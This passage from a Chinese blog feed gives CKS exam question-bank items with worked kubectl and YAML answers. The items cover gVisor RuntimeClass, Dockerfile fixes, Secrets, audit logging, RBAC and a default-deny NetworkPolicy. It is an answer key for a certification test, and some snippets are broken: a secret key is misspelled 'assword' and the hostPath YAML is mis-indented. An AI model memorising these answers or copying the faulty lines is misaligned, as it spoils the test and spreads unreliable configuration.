      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 题库  8、沙箱运行容器 gVisor</title>
      <link href="/archives/kubernetes/CKS/sandbox-gVisor.html"/>
      <url>/archives/kubernetes/CKS/sandbox-gVisor.html</url>
      
        <content type="html"><![CDATA[<p><img src="https://images.hao.kim/uploads/2024/12/1b97ca3b65dd021c07ad21a890cc635828216194d73c1482301c05fae207e7e9.jpg" alt="sandbox-gVisor-0">  </p><h5 id="Context"><a href="#Context" class="headerlink" title="Context"></a>Context</h5><p>该 cluster 使用 <code>containerd</code> 作为 CRI 运行时。<code>containerd</code> 的默认运行时处理程序是 <code>runc</code> 。 <code>containerd</code> 已准备好支持额外的运行时处理程序 <code>runsc</code> (gVisor)。</p><h5 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h5><p>使用名为 <code>runsc</code> 的现有运行时处理程序，创建一个名为 <code>untrusted</code> 的 RuntimeClass。 更新 namespace <code>server</code> 中的所有 Pod 以在 <code>gVisor</code> 上运行。 您可以在 <code>/cks/gVisor/rc.yaml</code> 中找到一个模版清单。</p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p><a href="https://kubernetes.io/zh-cn/docs/concepts/containers/runtime-class/#2-%E5%88%9B%E5%BB%BA%E7%9B%B8%E5%BA%94%E7%9A%84-runtimeclass-%E8%B5%84%E6%BA%90">https://kubernetes.io/zh-cn/docs/concepts/containers/runtime-class/#2-创建相应的-runtimeclass-资源</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>切换集群</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context KSMV00301</span><br></pre></td></tr></table></figure><p>创建RuntimeClass</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /cks/gVisor/rc.yaml</span><br></pre></td></tr></table></figure><p>rc.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">node.k8s.io/v1</span>   <span class="comment">##将apiVersion: node.k8s.io/v1beta1修改为apiVersion: node.k8s.io/v1。这个在1.25正式考试的时候，是对的，不需要修改的。</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">RuntimeClass</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">untrusted</span> <span class="comment"># 用来引用 RuntimeClass 的名字，RuntimeClass 是一个集群层面的资源</span></span><br><span class="line"><span class="attr">handler:</span> <span class="string">runsc</span>    <span class="comment"># 对应的 CRI 配置的名称</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -f /cks/gVisor/rc.yaml create</span><br><span class="line">kubectl get RuntimeClass</span><br></pre></td></tr></table></figure><p>将命名空间为server下的Pod引用RuntimeClass。 考试时，3个Deployment下有3个Pod，修改3个deployment即可。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n server get deployment</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n server edit deployments busybox-run</span><br><span class="line">kubectl -n server edit deployments nginx-host</span><br><span class="line">kubectl -n server edit deployments run-test</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spec:</span> <span class="comment">#找到这个spec，注意在deployment里是有两个单独行的spec的，要找第二个，也就是下面有containers这个字段的spec。</span></span><br><span class="line">  <span class="attr">runtimeClassName:</span> <span class="string">untrusted</span> <span class="comment">#添加这一行，注意空格对齐，保存会报错，忽略即可。</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">nginx:1.9</span></span><br><span class="line">    <span class="attr">imagePullPolicy:</span> <span class="string">IfNotPresent</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">run-test</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 题库  7、Dockerfile检测</title>
      <link href="/archives/kubernetes/CKS/check-dockerfile.html"/>
      <url>/archives/kubernetes/CKS/check-dockerfile.html</url>
      
        <content type="html"><![CDATA[<p><img src="https://images.hao.kim/uploads/2024/12/e5174da17faaf69ff30255590883faeaaec4e5428420acb50e59aa19cd807d30.jpg" alt="check-dockerfile-0"></p><h5 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h5><p>分析和编辑给定的Dockerfile <code>/cks/docker/Dockerfile</code>（基于ubuntu:16.04 镜像）， 并修复在文件中拥有的突出的安全&#x2F;最佳实践问题的 <code>两个指令</code>。</p><p>分析和编辑给定的清单文件 <code>/cks/docker/deployment.yaml</code> ， 并修复在文件中拥有突出的安全&#x2F;最佳实践问题的 <code>两个字段</code>。</p><p>注意：请勿添加或删除配置设置；只需修改现有的配置设置让以上两个配置设置都不再有安全&#x2F;最佳实践问题。</p><p>注意：如果您需要非特权用户来执行任何项目，请使用用户ID <code>65535</code> 的用户 <code>nobody</code> 。</p><p>只修改即可，不需要创建。</p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p><a href="https://kubernetes.io/zh/docs/concepts/security/pod-security-standards/#restricted">https://kubernetes.io/zh/docs/concepts/security/pod-security-standards/#restricted</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>切换集群</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context KSSC00301</span><br></pre></td></tr></table></figure><p>修改Dockerfile</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /cks/docker/Dockerfile</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment">#修改基础镜像为题目要求的 ubuntu:16.04</span></span><br><span class="line"><span class="string">FROM</span> <span class="string">ubuntu:16.04</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#仅将CMD上面的USER root修改为USER nobody，不要改其他的USER root。</span></span><br><span class="line"><span class="string">USER</span> <span class="string">nobody</span></span><br></pre></td></tr></table></figure><p>修改deployment.yaml</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /cks/docker/deployment.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment">#template里标签跟上面的内容不一致，所以需要将原先的run: couchdb修改为app: couchdb</span></span><br><span class="line"><span class="attr">app:</span> <span class="string">couchdb</span></span><br><span class="line"><span class="comment">#注意，这里具体要改成app: couchdb还是其他的标签，要以考试给你的yaml文件的上下文其他标签为准，要与另外两个标签一致，具体见下方截图。）</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#删除 &#x27;SYS_ADMIN&#x27; 字段，确保 &#x27;privileged&#x27;: 为False </span></span><br><span class="line"><span class="comment">#(CKS考试是有多套类似考试环境的，所以有时是删SYS_ADMIN，有时是改&#x27;privileged&#x27;: False）</span></span><br><span class="line"><span class="comment">#注意 注意，如果考试时，本来就没有&#x27;SYS_ADMIN&#x27; 字段，且&#x27;privileged&#x27;:也默认就为False，则直接将直接改成如下。</span></span><br><span class="line"><span class="attr">securityContext:</span></span><br><span class="line">  <span class="attr">privileged:</span> <span class="literal">False</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/788b04da366d8fbb2d3723e80f93a410c097de641fc44179bbad68530246ddf8.jpg" alt="check-dockerfile-1"><br><img src="https://images.hao.kim/uploads/2024/12/8fff1b0d072702acdf0adf20548349bd12245158c589e3631074062641ece535.jpg" alt="check-dockerfile-2"></p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 题库  6、创建 Secret</title>
      <link href="/archives/kubernetes/CKS/create-secret.html"/>
      <url>/archives/kubernetes/CKS/create-secret.html</url>
      
        <content type="html"><![CDATA[<p><img src="https://images.hao.kim/uploads/2024/12/584ff683b8ca72c117d72d61109dfe56c2e39a8967240c4abeea41bb7fa7e1ae.jpg" alt="create-secret-0">  </p><h5 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h5><p>在 namespace <code>istio-system</code> 中获取名为 <code>db1-test</code> 的现有 secret 的内容 将 <code>username</code> 字段存储在名为 <code>/cks/sec/user.txt</code> 的文件中，并将<code>password</code> 字段存储在名为 <code>/cks/sec/pass.txt</code> 的文件中。 注意：你必须创建以上两个文件，他们还不存在。</p><p>注意：不要在以下步骤中使用&#x2F;修改先前创建的文件，如果需要，可以创建新的临时文件。</p><p>在 <code>istio-system</code> namespace 中创建一个名为 <code>db2-test</code> 的新 secret ，内容如下： <code>username : production-instancepassword : KvLftKgs4aVH</code> 最后，创建一个新的 Pod ，它可以通过卷访问 secret <code>db2-test</code> ： Pod 名称 <code>secret-pod</code> Namespace <code>istio-system</code> 容器名 <code>dev-container</code> 镜像 <code>nginx</code> 卷名 <code>secret-volume</code> 挂载路径 <code>/etc/secret</code></p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p><a href="https://kubernetes.io/zh/docs/tasks/configmap-secret/managing-secret-using-kubectl/#decoding-secret">https://kubernetes.io/zh/docs/tasks/configmap-secret/managing-secret-using-kubectl/#decoding-secret</a></p><p><a href="https://kubernetes.io/zh/docs/tasks/configmap-secret/managing-secret-using-kubectl/#create-a-secret">https://kubernetes.io/zh/docs/tasks/configmap-secret/managing-secret-using-kubectl/#create-a-secret</a></p><p><a href="https://kubernetes.io/zh/docs/concepts/configuration/secret/#using-secrets">https://kubernetes.io/zh/docs/concepts/configuration/secret/#using-secrets</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>切换集群</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context KSCH00701</span><br></pre></td></tr></table></figure><p>将db1-test的username和password，通过base64解码保存到题目指定文件：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n istio-system get secrets db1-test -o jsonpath=&#123;.data.username&#125; | <span class="built_in">base64</span> -d &gt; /cks/sec/user.txt</span><br><span class="line">kubectl -n istio-system get secrets db1-test -o jsonpath=&#123;.data.password&#125; | <span class="built_in">base64</span> -d &gt; /cks/sec/pass.txt</span><br></pre></td></tr></table></figure><p>检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> /cks/sec/user.txt</span><br><span class="line"><span class="built_in">cat</span> /cks/sec/pass.txt</span><br></pre></td></tr></table></figure><p>创建名为 db2-test 的 secret 使用题目要求的用户名和密码作为键值。注意要加命名空间。</p><blockquote><p>注意，如果密码中有特殊字符（例如：$，\， *，&#x3D; 和 !），需要加单引号来转义–from-literal&#x3D;password&#x3D;’G!Y* d$zDsb’这样</p></blockquote><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n istio-system create secret generic db2-test --from-literal username=production-instance --from-literal assword=KvLftKgs4aVH</span><br><span class="line">kubectl -n istio-system get secret</span><br></pre></td></tr></table></figure><p>根据题目要求，参考官网，创建Pod使用该secret</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim k8s-secret.yaml</span><br></pre></td></tr></table></figure><p>k8s-secret.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">secret-pod</span>          <span class="comment">#pod名字</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">istio-system</span>   <span class="comment">#命名空间</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">dev-container</span>     <span class="comment">#容器名字</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">nginx</span>            <span class="comment">#镜像名字</span></span><br><span class="line">    <span class="attr">volumeMounts:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">secret-volume</span>   <span class="comment">#卷名</span></span><br><span class="line">      <span class="attr">mountPath:</span> <span class="string">&quot;/etc/secret&quot;</span>  <span class="comment">#挂载路径</span></span><br><span class="line">  <span class="attr">volumes:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">secret-volume</span>     <span class="comment">#卷名</span></span><br><span class="line">    <span class="attr">secret:</span></span><br><span class="line">      <span class="attr">secretName:</span> <span class="string">db2-test</span>  <span class="comment">#名为 db2-test 的 secret</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -f k8s-secret.yaml create</span><br><span class="line">kubectl -n istio-system get pod</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 题库  5、日志审计 log audit</title>
      <link href="/archives/kubernetes/CKS/log-audit.html"/>
      <url>/archives/kubernetes/CKS/log-audit.html</url>
      
        <content type="html"><![CDATA[<p><img src="https://images.hao.kim/uploads/2024/12/3530ee7bc7a758d7802e0e5a6166fe1e66eeaa835e02d4aabf499fee1f0c6b80.jpg" alt="log-audit-0">  </p><h5 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h5><p>在cluster中启用审计日志。为此，请启用日志后端，并确保：</p><ul><li>日志存储在 <code>/var/log/kubernetes/audit-logs.txt</code></li><li>日志文件能保留 <code>10</code> 天</li><li>最多保留 <code>2</code> 个旧审计日志文件</li></ul><p><code>/etc/kubernetes/logpolicy/sample-policy.yaml</code> 提供了基本策略。它仅指定不记录的内容。</p><p>注意：基本策略位于 cluster 的 master 节点上。</p><hr><p>编辑和扩展基本策略以记录：</p><ul><li>RequestResponse 级别的 <code>persistentvolumes</code> 更改</li><li>namespace <code>front-apps</code> 中 <code>configmaps</code> 更改的请求体</li><li><code>Metadata</code> 级别的所有 namespace 中的 ConfigMap 和 Secret 的更改</li></ul><p>此外，添加一个全方位的规则以在 <code>Metadata</code> 级别记录所有其他请求。</p><p>注意：不要忘记应用修改后的策略。</p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p><a href="https://kubernetes.io/zh/docs/tasks/debug/debug-cluster/audit/">https://kubernetes.io/zh/docs/tasks/debug/debug-cluster/audit/</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><blockquote><p>日志审计这一题需要自己调整的内容还是挺多的，因此要非常仔细，建议修改前备份一下原始的环境，要不然修改错了就会导致集群崩溃。</p></blockquote><p>切换集群</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context KSCH00601</span><br></pre></td></tr></table></figure><h6 id="切换到Master的root下"><a href="#切换到Master的root下" class="headerlink" title="切换到Master的root下"></a>切换到Master的root下</h6><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh master01</span><br><span class="line"><span class="built_in">sudo</span> -i</span><br></pre></td></tr></table></figure><h5 id="配置审计策略"><a href="#配置审计策略" class="headerlink" title="配置审计策略"></a>配置审计策略</h5><p>先备份配置文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cp</span> /etc/kubernetes/logpolicy/sample-policy.yaml bak/</span><br><span class="line">vim /etc/kubernetes/logpolicy/sample-policy.yaml</span><br></pre></td></tr></table></figure><blockquote><p>不要删除原有规则, 可以在下面继续追加题目要求的规则</p></blockquote><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="attr">level:</span> <span class="string">RequestResponse</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">group:</span> <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="attr">resources:</span> [<span class="string">&quot;persistentvolumes&quot;</span>] <span class="comment">#根据题目要求修改，比如题目要求的是namespaces。</span></span><br><span class="line"></span><br><span class="line"><span class="bullet">-</span> <span class="attr">level:</span> <span class="string">Request</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">group:</span> <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="attr">resources:</span> [<span class="string">&quot;configmaps&quot;</span>] <span class="comment">#根据题目要求修改，比如题目要求的是persistentvolumes或者pods。</span></span><br><span class="line">  <span class="attr">namespaces:</span> [<span class="string">&quot;front-apps&quot;</span>]</span><br><span class="line"></span><br><span class="line"><span class="bullet">-</span> <span class="attr">level:</span> <span class="string">Metadata</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">group:</span> <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="attr">resources:</span> [<span class="string">&quot;secrets&quot;</span>, <span class="string">&quot;configmaps&quot;</span>]</span><br><span class="line"></span><br><span class="line"><span class="bullet">-</span> <span class="attr">level:</span> <span class="string">Metadata</span></span><br><span class="line">  <span class="attr">omitStages:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">&quot;RequestReceived&quot;</span></span><br></pre></td></tr></table></figure><h5 id="配置-master-节点的kube-apiserver-yaml"><a href="#配置-master-节点的kube-apiserver-yaml" class="headerlink" title="配置 master 节点的kube-apiserver.yaml"></a>配置 master 节点的kube-apiserver.yaml</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cp</span> /etc/kubernetes/manifests/kube-apiserver.yaml bakyaml/</span><br><span class="line">vi /etc/kubernetes/manifests/kube-apiserver.yaml</span><br></pre></td></tr></table></figure><p>添加以下参数：注意空格要对齐，不建议放到最后，建议按照下图的位置放这四条信息。</p><p>定义审计策略yaml文件位置，通过hostpath挂载</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="string">--audit-policy-file=/etc/kubernetes/logpolicy/sample-policy.yaml</span> <span class="comment">#主意检查，如果考试中已经存在了，则不要重复添加。</span></span><br><span class="line"><span class="comment">#定义审计日志位置，通过hostpath挂载</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">--audit-log-path=/var/log/kubernetes/audit-logs.txt</span> <span class="comment">#主意检查，如果考试中已经存在了，则不要重复添加。</span></span><br><span class="line"><span class="comment">#定义保留旧审计日志文件的最大天数为10天</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">--audit-log-maxage=10</span> <span class="comment">#主意检查，如果考试中已经存在了，则不要重复添加。</span></span><br><span class="line"><span class="comment">#定义要保留的审计日志文件的最大数量为2个</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">--audit-log-maxbackup=2</span> <span class="comment">#主意检查，如果考试中已经存在了，则不要重复添加。</span></span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">volumeMounts:</span> <span class="comment">#找到这个字段，添加下面内容</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">mountPath:</span> <span class="string">/etc/kubernetes/logpolicy/sample-policy.yaml</span> <span class="comment">#这里也可以写到目录/etc/kubernetes/logpolicy/</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">audit</span> <span class="comment">#注意，在1.25考试中，蓝色的内容已经默认有了，你只需要添加绿色字体的内容。可以通过红色字，在文件中定位。但模拟环境没有加，需要你全部手动添加。这样是为了练习，万一考试中没有，你也会加。但是如果考试中已添加，你再添加一遍，则会报错，导致api-server启不起来。</span></span><br><span class="line">  <span class="attr">readOnly:</span> <span class="literal">true</span> <span class="comment">#这个为true</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">mountPath:</span> <span class="string">/var/log/kubernetes/</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">audit-log</span> <span class="comment">#注意，在1.25考试中，蓝色的内容已经有了，你只需要添加绿色字体的内容。可以通过红色字，在文件中定位。但模拟环境没有加，需要你全部手动添加。这样是为了练习，万一考试中没有，你也会加。</span></span><br><span class="line">  <span class="attr">readOnly:</span> <span class="literal">false</span> <span class="comment">#这个为false</span></span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">volumes:</span> <span class="comment">#找到这个字段，添加下面内容 #注意，在1.25考试中，蓝色的内容已经有了，volumes这段无需修改，但是为了以防万一，模拟环境中没有加，需要你手动添加。这样是为了练习，万一考试中没有，你也会加。</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">audit</span></span><br><span class="line">  <span class="attr">hostPath:</span></span><br><span class="line">  <span class="attr">path:</span> <span class="string">/etc/kubernetes/logpolicy/sample-policy.yaml</span> <span class="comment">#这里如果写到目录/etc/kubernetes/logpolicy/，则下面的type:应为type: DirectoryOrCreate</span></span><br><span class="line">  <span class="attr">type:</span> <span class="string">File</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">audit-log</span></span><br><span class="line">  <span class="attr">hostPath:</span></span><br><span class="line">  <span class="attr">path:</span> <span class="string">/var/log/kubernetes/</span></span><br><span class="line">  <span class="attr">type:</span> <span class="string">DirectoryOrCreate</span></span><br></pre></td></tr></table></figure><p>重启kubelet服务, 等待2分钟后，再检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">systemctl restart kubelet</span><br><span class="line">kubectl get pod -A</span><br><span class="line"><span class="built_in">tail</span> /var/log/kubernetes/audit-logs.txt</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/3bb574243bfddfa71c6766492fc5347ec00019f43149419ec0a9729da73f9b46.jpg" alt="log-audit-1">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 题库  4、RBAC - RoleBinding</title>
      <link href="/archives/kubernetes/CKS/RBAC-RoleBinding.html"/>
      <url>/archives/kubernetes/CKS/RBAC-RoleBinding.html</url>
      
        <content type="html"><![CDATA[<p><img src="https://images.hao.kim/uploads/2024/12/047e13534ea1a5b7f424151fc56a0080e23f9063b7208d1a2e2c2f14e6e0c71d.jpg" alt="RBAC-RoleBinding-0">  </p><h5 id="Context"><a href="#Context" class="headerlink" title="Context"></a>Context</h5><p>绑定到 Pod 的 ServiceAccount 的 Role 授予过度宽松的权限。完成以下项目以减少权限集。</p><h5 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h5><p>一个名为 <code>web-pod</code> 的现有 Pod 已在 namespace <code>db</code> 中运行。 编辑绑定到 Pod 的 ServiceAccount <code>service-account-web</code> 的现有 Role，仅允许只对 <code>services</code> 类型的资源执行 <code>get</code> 操作。 在 namespace <code>db</code> 中创建一个名为 <code>role-2</code> ，并仅允许只对  <code>namespaces</code> 类型的资源执行 <code>delete</code> 操作的新 Role。 创建一个名为 <code>role-2-binding</code> 的新 RoleBinding，将新创建的 Role 绑定到 Pod 的 ServiceAccount。</p><p>注意：请勿删除现有的 RoleBinding。</p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p><a href="https://kubernetes.io/zh/docs/reference/access-authn-authz/rbac/#role-and-clusterole">https://kubernetes.io/zh/docs/reference/access-authn-authz/rbac/#role-and-clusterole</a></p><p><a href="https://kubernetes.io/zh-cn/docs/reference/access-authn-authz/rbac/#%E4%B8%80%E4%BA%9B%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%B7%A5%E5%85%B7">https://kubernetes.io/zh-cn/docs/reference/access-authn-authz/rbac/#一些命令行工具</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>切换集群</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context KSCH00201</span><br></pre></td></tr></table></figure><p>查看 ServiceAccount rolebinding 对应关系</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n db describe rolebindings</span><br></pre></td></tr></table></figure><p>编辑 role-1 权限</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n db edit role role-1</span><br></pre></td></tr></table></figure><p>添加如下</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">rules:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">apiGroups:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">&quot;&quot;</span></span><br><span class="line">  <span class="attr">resources:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">services</span></span><br><span class="line">  <span class="attr">verbs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">get</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/0d836c8c3e2dc82204a0e38fa0d5838b5e27b7d71c615703bad4e6c2ddcfc105.jpg" alt="RBAC-RoleBinding-1">  </p><p>检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n db describe role role-1</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/a01d3c8d762a0a61a1d9e3cde7bb0fb96851b47454798299992fc3cc18300ccf.jpg" alt="RBAC-RoleBinding-2">  </p><p>在db命名空间，创建名为role-2的role，并且通过rolebinding绑定service-account-web，只允许对namespaces做delete操作。</p><p><code>记住 --verb是权限，可能考delete或者update等 --resource是对象，可能考namespaces或者persistentvolumeclaims等。</code></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n db create role role-2 --verb=delete --resource=namespaces</span><br><span class="line">kubectl -n db create rolebinding role-2-binding --role=role-2 --serviceaccount=db:service-account-web</span><br></pre></td></tr></table></figure><p>检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n db describe rolebindings</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/0243cf9a00ab81e59a60a61a80faa0e58c207c5e87a2da48c5e27caab03d7486.jpg" alt="RBAC-RoleBinding-3">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 题库 3、默认网络策略</title>
      <link href="/archives/kubernetes/CKS/NetworkPolicy.html"/>
      <url>/archives/kubernetes/CKS/NetworkPolicy.html</url>
      
        <content type="html"><![CDATA[<p><img src="https://images.hao.kim/uploads/2024/12/dc0e084482d654fa1c99c8bbd392862bd4e41565a36d220771626cb1be2541da.jpg" alt="NetworkPolicy-0">  </p><h5 id="Context"><a href="#Context" class="headerlink" title="Context"></a>Context</h5><p>一个默认拒绝（default-deny）的NetworkPolicy可避免在未定义任何其他NetworkPolicy的namespace中意外公开Pod。</p><h5 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h5><p>为所有类型为 <code>Ingress+Egress</code> 的流量在 namespace <code>testing</code> 中创建一个名为 <code>denypolicy</code> 的新默认拒绝 NetworkPolicy 。 此新的 NetworkPolicy 必须拒绝 namespace <code>testing</code> 中的所有的 <code>Ingress + Egress</code> 流量。 将新创建的默认拒绝 NetworkPolicy 应用在 namespace <code>testing</code> 中运行的所有 Pod 。</p><p>你可以在 <code>/cks/net/p1.yaml</code> 找到一个模板清单文件。</p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p><a href="https://kubernetes.io/zh-cn/docs/concepts/services-networking/network-policies/#%E9%BB%98%E8%AE%A4%E6%8B%92%E7%BB%9D%E6%89%80%E6%9C%89%E5%85%A5%E5%8F%A3%E5%92%8C%E6%89%80%E6%9C%89%E5%87%BA%E7%AB%99%E6%B5%81%E9%87%8F">https://kubernetes.io/zh-cn/docs/concepts/services-networking/network-policies/#默认拒绝所有入口和所有出站流量</a></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>切换集群</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context KSCS00101</span><br></pre></td></tr></table></figure><p>编辑模板文件 &#x2F;cks&#x2F;net&#x2F;p1.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">networking.k8s.io/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">NetworkPolicy</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">denypolicy</span>     <span class="comment">#注意修改name</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">testing</span>   <span class="comment">#添加namespace</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">podSelector:</span> &#123;&#125;</span><br><span class="line">  <span class="attr">policyTypes:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">Ingress</span>            <span 